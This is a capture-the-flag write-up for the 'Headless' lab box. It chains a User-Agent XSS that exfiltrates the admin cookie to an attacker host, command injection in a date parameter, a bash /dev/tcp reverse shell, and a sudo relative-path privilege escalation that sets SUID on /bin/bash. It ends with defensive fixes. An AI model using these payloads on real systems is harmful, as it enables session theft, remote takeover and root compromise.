Summary
Headless is an Easy Linux box. The web application (Flask/Werkzeug on port 5000,
not 80) has a contact form that filters HTML in the body, triggering an error
page. That error page reflects the User-Agent header unescaped — a classic
header XSS. An admin bot visits the error page, executing the payload, which
exfiltrates the admin session cookie. The admin dashboard has a date parameter
passed to a shell command with shell=True, enabling direct command injection
as dvir. For privilege escalation, dvir has passwordless sudo on
/usr/bin/syscheck, which calls ./initdb.sh via a relative path. Dropping a
malicious initdb.sh in /tmp and running syscheck from there sets the SUID
bit on /bin/bash → root.
The chain:
- POST
/supportwith<script>in body → “Hacking Attempt Detected” page, admin bot views it with our XSSUser-Agentreflected → cookie stolen. - POST
/dashboardwithdate=2023-09-15;<cmd>→ RCE as dvir. sudo -l→(ALL) NOPASSWD: /usr/bin/syscheck. Script calls./initdb.sh(relative path, CWD-dependent).printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/initdb.sh && chmod +x /tmp/initdb.shthencd /tmp && sudo /usr/bin/syscheck./bin/bash -p→ root.
Recon
22/tcp open OpenSSH 9.2p1 Debian 2+deb12u2
5000/tcp open Werkzeug/2.2.2 Python/3.11.2 — Flask app ("Under Construction")
Note: web runs on port 5000, not 80. The main page sets an is_admin cookie
with a user-role value; the admin-role value is needed for /dashboard.
Web enumeration
/— landing page with link to/support/support— contact form (POST)/dashboard— admin-only report generator (POST withdateparam)
Foothold — header XSS + cmd injection
Why header XSS works
The Flask error handler for “hacking attempt” renders a page that includes the
raw User-Agent string without HTML escaping. An admin bot checks flagged
submissions, so our injected <script> tag executes in their browser context
and can exfiltrate their is_admin cookie.
Step 1 — steal admin cookie
# Start listener
nc -lvnp 8888
# Trigger error page with XSS payload in UA
curl -X POST http://headless.htb:5000/support \
-H 'User-Agent: <script>var i=new Image();i.src="http://<ATTACKER>:8888/?c="+document.cookie;</script>' \
-d 'fname=x&lname=x&[email protected]&phone=1&message=<script>alert(1)</script>'
# Admin bot views the error page -> cookie arrives at listener
Step 2 — command injection via date parameter
# Verify RCE
curl -s -b "is_admin=<cookie>" -X POST http://headless.htb:5000/dashboard \
--data-urlencode 'date=2023-09-15;id'
# Output: uid=1000(dvir)...
# Reverse shell
curl -s -b "is_admin=<cookie>" -X POST http://headless.htb:5000/dashboard \
--data-urlencode 'date=2023-09-15;bash -c "bash -i >& /dev/tcp/<ATTACKER>/9001 0>&1"'
Privesc — sudo syscheck + relative path
/usr/bin/syscheck is a bash script that, when initdb.sh is not running,
executes ./initdb.sh — a relative path resolved from the caller’s CWD. Since
sudo preserves the CWD by default, running it from /tmp (where we control
files) causes root to execute our script.
# As dvir:
$ sudo -l
(ALL) NOPASSWD: /usr/bin/syscheck
# Plant malicious initdb.sh
$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/initdb.sh
$ chmod +x /tmp/initdb.sh
# Trigger it as root
$ cd /tmp && sudo /usr/bin/syscheck
# ...Starting it... (our script runs)
# Escalate
$ /bin/bash -p
bash-5.2# id
uid=1000(dvir) euid=0(root) ...
bash-5.2# cat /root/root.txt
Why each step worked
- Header reflection: error page rendered UA without escape.
- Cmd injection in date: server passed value into a
subprocess(..., shell=True)call. - Relative
./initdb.sh: sudo preserves CWD; classic.
Counterfactuals
- Escape ALL request fields, including headers, in error pages.
- Use
subprocess(..., shell=False)and validate the date withdatetime.strptime. - Use absolute paths in scripts; sudoers
cwd=/safe.
Key Takeaways
- Port 5000 is a common Flask development server port — don’t assume web = port 80.
- XSS via HTTP headers (User-Agent, Referer, X-Forwarded-For) is frequently overlooked. Any field that gets stored and displayed in admin interfaces is a candidate.
subprocess(..., shell=True)with unsanitized user input is a direct RCE. Always useshell=Falsewith a list of args, or validate withdatetime.strptime.- Relative paths in sudo scripts are a classic and reliable privesc.
sudopreserves CWD by default unlessrequirettyorenv_resetwith secure_path blocks it.